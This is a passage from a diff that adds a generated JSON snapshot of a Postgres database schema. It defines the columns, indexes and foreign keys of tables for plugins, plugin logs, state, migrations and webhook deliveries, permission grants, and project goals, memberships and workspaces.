+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_logs": {
+      "name": "plugin_logs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'info'"
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "meta": {
+          "name": "meta",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_logs_plugin_time_idx": {
+          "name": "plugin_logs_plugin_time_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_company_idx": {
+          "name": "plugin_logs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_level_idx": {
+          "name": "plugin_logs_level_idx",
+          "columns": [
+            {
+              "expression": "level",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_logs_plugin_id_plugins_id_fk": {
+          "name": "plugin_logs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_logs_company_id_companies_id_fk": {
+          "name": "plugin_logs_company_id_companies_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_managed_resources": {
+      "name": "plugin_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_managed_resources_company_idx": {
+          "name": "plugin_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_plugin_idx": {
+          "name": "plugin_managed_resources_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_resource_idx": {
+          "name": "plugin_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_company_plugin_resource_uq": {
+          "name": "plugin_managed_resources_company_plugin_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_managed_resources_company_id_companies_id_fk": {
+          "name": "plugin_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_managed_resources_plugin_id_plugins_id_fk": {
+          "name": "plugin_managed_resources_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_migrations": {
+      "name": "plugin_migrations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "migration_key": {
+          "name": "migration_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "checksum": {
+          "name": "checksum",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_version": {
+          "name": "plugin_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "plugin_migrations_plugin_key_idx": {
+          "name": "plugin_migrations_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "migration_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_plugin_idx": {
+          "name": "plugin_migrations_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_status_idx": {
+          "name": "plugin_migrations_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_migrations_plugin_id_plugins_id_fk": {
+          "name": "plugin_migrations_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_migrations",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_state": {
+      "name": "plugin_state",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "namespace": {
+          "name": "namespace",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "state_key": {
+          "name": "state_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_json": {
+          "name": "value_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_state_plugin_scope_idx": {
+          "name": "plugin_state_plugin_scope_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_state_plugin_id_plugins_id_fk": {
+          "name": "plugin_state_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_state",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_state_unique_entry_idx": {
+          "name": "plugin_state_unique_entry_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "plugin_id",
+            "scope_kind",
+            "scope_id",
+            "namespace",
+            "state_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_webhook_deliveries": {
+      "name": "plugin_webhook_deliveries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "webhook_key": {
+          "name": "webhook_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "headers": {
+          "name": "headers",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_webhook_deliveries_plugin_idx": {
+          "name": "plugin_webhook_deliveries_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_company_idx": {
+          "name": "plugin_webhook_deliveries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_status_idx": {
+          "name": "plugin_webhook_deliveries_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_key_idx": {
+          "name": "plugin_webhook_deliveries_key_idx",
+          "columns": [
+            {
+              "expression": "webhook_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_webhook_deliveries_plugin_id_plugins_id_fk": {
+          "name": "plugin_webhook_deliveries_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_webhook_deliveries_company_id_companies_id_fk": {
+          "name": "plugin_webhook_deliveries_company_id_companies_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugins": {
+      "name": "plugins",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "package_name": {
+          "name": "package_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "api_version": {
+          "name": "api_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "categories": {
+          "name": "categories",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "manifest_json": {
+          "name": "manifest_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'installed'"
+        },
+        "install_order": {
+          "name": "install_order",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "package_path": {
+          "name": "package_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "installed_at": {
+          "name": "installed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugins_plugin_key_idx": {
+          "name": "plugins_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugins_status_idx": {
+          "name": "plugins_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.principal_permission_grants": {
+      "name": "principal_permission_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "permission_key": {
+          "name": "permission_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "granted_by_user_id": {
+          "name": "granted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "principal_permission_grants_unique_idx": {
+          "name": "principal_permission_grants_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "principal_permission_grants_company_permission_idx": {
+          "name": "principal_permission_grants_company_permission_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "principal_permission_grants_company_id_companies_id_fk": {
+          "name": "principal_permission_grants_company_id_companies_id_fk",
+          "tableFrom": "principal_permission_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_goals": {
+      "name": "project_goals",
+      "schema": "",
+      "columns": {
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_goals_project_idx": {
+          "name": "project_goals_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_goal_idx": {
+          "name": "project_goals_goal_idx",
+          "columns": [
+            {
+              "expression": "goal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_company_idx": {
+          "name": "project_goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_goals_project_id_projects_id_fk": {
+          "name": "project_goals_project_id_projects_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_goal_id_goals_id_fk": {
+          "name": "project_goals_goal_id_goals_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_company_id_companies_id_fk": {
+          "name": "project_goals_company_id_companies_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "project_goals_project_id_goal_id_pk": {
+          "name": "project_goals_project_id_goal_id_pk",
+          "columns": [
+            "project_id",
+            "goal_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_memberships": {
+      "name": "project_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_memberships_company_user_idx": {
+          "name": "project_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_starred_idx": {
+          "name": "project_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_project_idx": {
+          "name": "project_memberships_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_project_uq": {
+          "name": "project_memberships_company_user_project_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_memberships_company_id_companies_id_fk": {
+          "name": "project_memberships_company_id_companies_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_memberships_project_id_projects_id_fk": {
+          "name": "project_memberships_project_id_projects_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_workspaces": {
+      "name": "project_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_ref": {
+          "name": "repo_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "default_ref": {
+          "name": "default_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "visibility": {
+          "name": "visibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "setup_command": {
+          "name": "setup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_command": {
+          "name": "cleanup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_provider": {
+          "name": "remote_provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_workspace_ref": {
+          "name": "remote_workspace_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_workspace_key": {
+          "name": "shared_workspace_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
